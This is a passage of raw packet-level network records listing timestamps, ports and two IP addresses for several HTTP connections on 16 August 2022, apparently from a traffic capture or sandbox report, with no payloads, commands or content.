Aug 16, 2022 11:05:56.700225115 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.838228941 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.838255882 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.838452101 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.838500977 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.838567019 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.839222908 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839401960 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.839463949 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839482069 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839503050 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839519024 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839533091 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.839570999 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.839595079 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.839601994 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.874069929 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.874238968 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927526951 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927673101 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927678108 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927730083 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927778959 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927797079 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927831888 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927881002 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927891970 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927902937 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927932024 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927956104 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.927990913 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.927994013 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928037882 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928060055 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928117990 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928162098 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928179026 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928220987 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928242922 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928276062 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928292990 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928332090 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928335905 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928380013 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928390026 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928421974 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928440094 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928476095 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928519964 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928527117 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.928531885 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928596973 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928652048 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.928658962 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.929497957 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.098021030 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.098160982 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.098674059 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.106165886 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159430981 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159461975 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159483910 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159506083 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159527063 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159548044 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159570932 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159611940 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.159657001 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.159692049 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159715891 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159786940 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.159832001 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159890890 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.159909964 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159934998 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159976006 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.159998894 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160000086 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160043955 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160070896 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160079956 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160132885 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160187006 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160219908 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160259008 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160265923 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160286903 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160330057 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160336971 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160376072 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160394907 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160398960 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160476923 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160501957 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.160530090 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160558939 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.160567045 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.161308050 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322036982 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322155952 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322201967 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322243929 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322274923 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322356939 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322452068 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322532892 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322618961 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322684050 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322695017 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322748899 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.322861910 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.322920084 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.323000908 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.323054075 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.323163033 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.323215008 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.323390007 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.323462963 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.391446114 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391513109 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391572952 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391663074 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391716003 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.391750097 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391752005 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.391819000 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391824007 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.391863108 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391900063 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391952991 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.391972065 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.391972065 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.392013073 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.392051935 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.392082930 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.392086029 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.392113924 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.392168045 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.398139000 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.399281979 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.546360970 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.546478033 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.546572924 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.546658039 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.546725035 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.546967983 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.547049046 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.547126055 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.547190905 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.547307968 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.547374010 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.547609091 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.547697067 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.547883987 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.547955990 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.548114061 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.548388958 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.548475027 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.548686028 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.548926115 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.549030066 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.549088955 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.549313068 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.549556017 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.549688101 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.549751997 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.549994946 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.550337076 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.550437927 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.550554991 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.550765991 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.550873995 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.551049948 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.551119089 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.551450968 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.551745892 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.551801920 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.552148104 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.618011951 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.619642973 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.620209932 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.623325109 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.623406887 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.770745039 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.770850897 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.771255970 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.771341085 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.771404028 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.771631002 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.771636963 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.771718979 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.771866083 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.771960974 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.772037983 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.772100925 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.772279978 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.772346020 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.772519112 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.772594929 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.772927999 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.772993088 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.773016930 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.773116112 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.773427963 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.773479939 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.773502111 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.773549080 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.774051905 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.774136066 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.774243116 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.774342060 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.774502039 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.774579048 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.774712086 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.774775982 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.774897099 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.774970055 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.775109053 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.775222063 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.775475025 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.775573015 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.775619030 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.775644064 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.775990009 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.776040077 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.776065111 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.776109934 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.776253939 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.776329041 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.776509047 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.776583910 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.776643038 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.776700020 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.777024031 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.777071953 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.777097940 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.777127028 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.777318954 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.777363062 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.777410030 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.777426958 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.777555943 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.777627945 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.778224945 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.778264046 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.778306007 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.778326988 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.778428078 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.778497934 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.778592110 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.778640985 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.778656006 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.778696060 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.779019117 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.779109955 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.784159899 CEST	49780	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.785238981 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835181952 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835247993 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835299969 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835333109 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835376978 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835382938 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835433960 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835439920 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835491896 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835495949 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835556030 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835589886 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835648060 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835649967 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835702896 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835705996 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835756063 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835766077 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835814953 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:57.835823059 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:57.835916996 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.002310038 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.002441883 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.002962112 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.010560036 CEST	80	49780	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050158024 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050209999 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050234079 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050267935 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050275087 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050314903 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050324917 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050379038 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050381899 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050427914 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050434113 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050481081 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050487995 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050538063 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050546885 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050595045 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050602913 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050649881 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050656080 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050704956 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050709009 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050764084 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050792933 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050812006 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050813913 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050865889 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050868034 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050940037 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.050946951 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.050995111 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.051004887 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.051053047 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.051062107 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.051110029 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.051120996 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.051167965 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.051177025 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.051223040 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.051243067 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.051290035 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.222075939 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.222429991 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.222482920 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.222526073 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.222532034 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.222568989 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.222594023 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.227334976 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266112089 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266204119 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266261101 CEST	80	49781	187.45.240.69	192.168.2.4
